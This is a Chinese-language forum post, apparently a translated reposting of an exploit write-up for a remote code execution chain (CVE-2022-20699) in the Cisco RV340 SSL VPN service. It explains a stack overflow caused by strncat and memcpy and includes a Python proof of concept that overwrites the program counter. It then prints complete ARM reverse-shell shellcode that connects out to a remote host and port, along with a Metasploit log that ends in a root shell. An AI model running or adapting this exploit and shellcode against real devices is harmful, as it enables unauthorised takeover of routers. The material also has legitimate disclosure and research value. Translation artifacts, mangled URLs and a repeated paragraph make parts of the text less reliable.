• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

思科RV340 SSL VPN远程代码执行漏洞分析


Recommended Posts

0x01 背景描述

本文描述的漏洞存在于Cisco RV340中,最高固件版本(包括v1.0.03.24),由闪回团队在2021年11月ZDI pwn 2 own Austin 2021比赛中首次披露。

3359 www . Cisco.com/c/en/us/products/routers/RV 340-dual-gigabit-wan-VPN-router/index . html思科已于2022年2月发布了更新的固件版本(v1.0.03.26 ),该版本修复了本公告中描述的漏洞。思科增加了堆栈cookies、不可执行堆栈、缓冲区大小检测和使用内存安全功能。

未经验证的攻击者可以通过WAN接口使用默认的AnyConnect VPN配置,并利用SSL VPN模块sslvpnd中的漏洞在RV340上实现远程代码执行。

漏洞链由两个漏洞实现:

堆栈溢出漏洞(CVE-2022-20699)

不正确的内存配置(读写执行堆栈)

本文中的所有代码都来自固件版本1.0.03.22

该漏洞在ConcessionCon 2022上首次公开展示,公告还发布了支持的Metasploit模块,实现了完全的远程漏洞利用。

https://www . offensive con . org/speakers/2022/radek-doman ski-and-Pedro-Ribeiro . html https://github.com/rapid 7/metasploit-framework/pull/161690x02 漏洞详情

1.SSL VPN 介绍

Cisco RV340是一个VPN网关,它实现了几种不同的VPN协议。

其中一个叫Cisco AnyConnect,叫做SSL VPN。默认情况下,它监听WAN接口上的TCP端口8443。用户可以连接到Cisco VPN客户端(AnyConnect)并与路由器建立VPN隧道。

https://www . Cisco.com/c/en/us/support/docs/SMB/routers/Cisco-RV-series-small-business-routers/SMB 5535-any connect-licensing-for-the-RV 340-series-routers . htmlimage-20220222160128399.png

图1: Cisco AnyConnect VPN会话建立

二进制sslvpnd由/usr/bin/sslvpnd_monitor控制。它会不断检查sslvpnd是否正常运行。如果二进制文件没有运行,它将自动重启。

当客户端连接到sslvpnd服务时,它将生成一个新线程来处理请求。作为该操作的一部分,将调用FUN_00053fe8函数(connection_loop)。这个函数创建两个大的缓冲区,每个都是0x4000。

char packet _ IN[16384];char body _ buf[16388];它们用于保存HTTP请求头和HTTP主体。首先,初始化PACKET_IN缓冲区,并将HTTP报头读入缓冲区,该缓冲区最多可容纳0x4000字节:

memset(PACKET_IN,0,0x 4000);/* ThisfirstreadsonlyaHTTPheader,without body */num _ bytes _ read=nonblocking _ SSL _ read(param _ 1,PACKET_IN,0x 4000);接下来,下面的函数将检查HTTP头有多大。它将结果存储在num_bytes_read局部变量中,并返回一个指向标头末尾的指针:

iVar3=

find_end_of_hdrs(PACKET_IN,num_bytes_read);

如果请求有正文,则将其作为下一步读取内容。它最多可读取 0x4000 字节,因此非常适合分配的空间。

if (( int )num_bytes_read < HTTP_hdr_size + Content_len_val) {  memset (body_buf, 0 , 0x4000 );  (...)  num_bytes_read = nonblocking_ssl_read (param_1,body_buf, 0x4000 );

此时,HTTP 头和正文被读入相应的缓冲区。

image-20220222160739049image-20220222160739049.png

图 2:PACKET_IN和BODY_BUF

接下来,strncat调用一个函数,它将缓冲区一起移动到 1 个连续空间中。size 参数不会超过 0x4000,因为它受nonblocking_ssl_read读取限制。

strncat (PACKET_IN,body_buf,num_bytes_read);

因此,如果已发送整个 0x4000 字节,情况就会变得有趣。由于我们已经在PACKET_IN缓冲区中有数据,它与主体数据包连接,有效地溢出缓冲区边界。

image.png

图 3:正文溢出

一个明显的问题出现了,我们可以这样继续溢出BODY_BUF吗?

不幸的是,这似乎是不可能的。如果我们发送更多数据,BODY_BUF将首先用空字节清除,然后再读取新数据。这意味着每次调用strncpy()函数时,我们都会将最大0x4000字节连接到缓冲区的末尾。但是BODY_BUF足够大,可以保存这些数据,所以不会发生溢出。

当所有数据都被读取后,缓冲区被插入到一个特殊的队列中以进行进一步的处理。负责它的函数之一是FUN_0004abbc( sslserver_recv_data_notify_msg_insert)。这就是漏洞所在!

2.缓冲区溢出漏洞

从connection_loop函数调用sslserver_recv_data_notify_msg_insert,这里有 2 个参数很重要:

∎PACKET_IN:攻击者控制内容的缓冲区

∎num_bytes_read: 读取的总字节数,攻击者也可以控制这个参数。

sslserver_recv_data_notify_msg_insert (param_1,PACKET_IN,num_bytes_read & 0xffff ,uVar6);

sslserver_recv_data_notify_msg_insert函数栈布局如下:

  pthread_t pVar1;  int iVar2;  undefined4 uVar3;  undefined4 uStack16432;  undefined4 local_402c;  undefined auStack16424 [16384]; // <- vulnerable buffer  undefined2 uStack40;  undefined4 uStack36;

栈上有一个大缓冲区,设计为最多可容纳 0x4000 字节。在函数执行的后面,memcpy()函数将数据复制到这个缓冲区中。

memcpy (auStack16424,PACKET_IN,num_bytes_read);

由于前面提到的连接这两个0x4000缓冲区的strncat()函数,此实现没有考虑缓冲区中PACKET_IN的数据长度可能高达0x8000字节。因此,当发送大数据包时,我们可以使栈缓冲区溢出并覆盖返回地址。

image.png

图 4:栈溢出

FILLER = b'\x04' * (16400)PC = b"\xcc\xcc\xcc\xcc\x00"url = "https://%s:8443/" % TARGETpayload = FILLER + PCr = requests.post(url, data=payload, verify=False)
[New Thread 30958.313]Thread 10 "sslvpnd" received signal SIGSEGV, Segmentation fault.[Switching to Thread 30958.313]0xcccccccc in ?? ()(gdb) info registers r0             0x0                 0r1             0x81                129r2             0x1                 1r3             0x1                 1r4             0x4040404           67372036r5             0x4040404           67372036r6             0xcccccccc          3435973836r7             0x4040404           67372036r8             0x4040404           67372036r9             0x4040404           67372036r10            0x4040404           67372036r11            0x18f89c            1636508r12            0x0                 0sp             0x704aebe8          0x704aebe8lr             0x1                 1pc             0xcccccccc          0xcccccccccpsr           0x600f0010          1611595792(gdb)

3.内存配置不当漏洞

虽然存在堆栈溢出漏洞,但我们的受控缓冲区是使用strncat()创建的。有可能注入一个终止NULL空字节,该NULL字节将被$pc获取,从而让攻击者控制程序的执行。但是,使用strncat()意味着缓冲区中不能存在空字节,这会使ROP链的构造复杂化。

sslvpnd二进制文件的数据段和文本段被映射到一个内存段,该内存段要求地址中包含空字节。

00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd 00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd

所有共享库都是随机的,这意味着我们需要一个信息泄漏漏洞才能可靠地知道库函数地址。也没有找到任何有用的代码可以立即实现远程执行代码,比如使用单个 ROP 指令。但是,文件映射栈地址具有读写执行RWX权限!

00010000-00172000 r-xp 00000000 00:0d 2279       /usr/bin/sslvpnd00181000-00195000 rw-p 00161000 00:0d 2279       /usr/bin/sslvpnd

这意味着获得任意代码执行所需的只是将 shellcode 放在栈上并跳转过去。

image.png

图 5:Shellcode

当我们控制 的内容时,这似乎是放置 shellcode 的完美候选者。从我们的观察来看,由于使用了正在使用的线程,栈地址似乎非常轻微地随机化。奇怪的是,我们的缓冲区地址似乎保持不变,因为栈的一部分并不总是随机化的,而其他一些部分则是随机化的。虽然这对于利用来说非常棒,但我们对此感到困惑并且不知道为什么会发生这种情况。欢迎对此提出任何意见!

当我们控制PACKET_IN的内容时,这似乎是放置shellcode的完美位置。根据我们的观察,由于使用了线程,堆栈地址似乎很容易随机化。奇怪的是,我们的缓冲区地址是保持不变的,因为堆栈的一部分并不总是随机的,而其他部分则是随机的。虽然这对于漏洞利用来说是非常棒的,但我们对此感到困惑,不知道为什么会发生这种情况。

0x03 利用开发

1.Shellcode

我们的 shellcode 是一个到 5.5.5.1:4445 的 TCP 反向 shell,使用execve()没有空字节的系统调用。shellcode 以dsb和isb指令开始,这些指令会处理 ARMv7 上的 D-cache 和 I-cache 刷新,这会确保在控制执行后 CPU 可以在栈上看到我们的 shellcode。之后,shellcode 会切换到 thumb 模式,这使我们能够编写更紧凑的 shellcode。

在构建 shellcode 时,我们必须记住它是由strncat()处理的。因此,它不能包含任何空字节,这就是为什么命令字符串以“X”字符结尾,然后在指令strb r2[r0,#7]中用空字节替换。

// Taken from Azeria's website and slightly modified.global _start_start: .ARM// Clear cache dsb isb add   r3, pc, #1       // switch to thumb mode bx    r3.THUMB// socket(2, 1, 0) mov   r0, #2 mov   r1, #1 sub   r2, r2 mov   r7, #200 add   r7, #81          // r7 = 281 (socket) svc   #1               // r0 = resultant sockfd mov   r4, r0           // save sockfd in r4// connect(r0, &sockaddr, 16) adr   r1, struct       // pointer to address, port strb  r2, [r1, #1]     // write 0 for AF_INET mov   r2, #16 add   r7, #2           // r7 = 283 (connect) svc   #1// dup2(sockfd, 0) mov   r7, #63          // r7 = 63 (dup2) mov   r0, r4           // r4 is the saved sockfd sub   r1, r1           // r1 = 0 (stdin) svc   #1// dup2(sockfd, 1) mov   r0, r4           // r4 is the saved sockfd mov   r1, #1           // r1 = 1 (stdout) svc   #1// dup2(sockfd, 2) mov   r0, r4           // r4 is the saved sockfd mov   r1, #2           // r1 = 2 (stderr) svc   #1// execve("/bin/sh", 0, 0) adr   r0, binsh sub   r2, r2 sub   r1, r1 strb  r2, [r0, #7] push  {r0, r2} mov   r1, sp cpy   r2, r1 mov   r7, #11          // r7 = 11 (execve) svc   #1 eor  r7, r7, r7struct:.ascii "\x02\xff"       // AF_INET 0xff will be NULLed.ascii "\x11\x5d"       // port number 4445.byte 5,5,5,1           // IP Addressbinsh:.ascii "/bin/shX"

当 shellcode 执行时,它将创建一个在5.5.5.1:4445监听的TCP套接字,并将stdin、stout、stderr复制到该套接字文件描述符。接收到连接后,调用execve()系统调用,生成一个/bin/sh(busybox sh),这样就可以获得root shell!

2.利用验证

msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check[*] 5.55.55.62:8443 - The service is running, but could not be validated.msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit[*] Started reverse TCP handler on 5.55.55.1:4445[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version  5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000iduid=0(root) gid=0(root)uname -aLinux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux


Link to comment
Share on other sites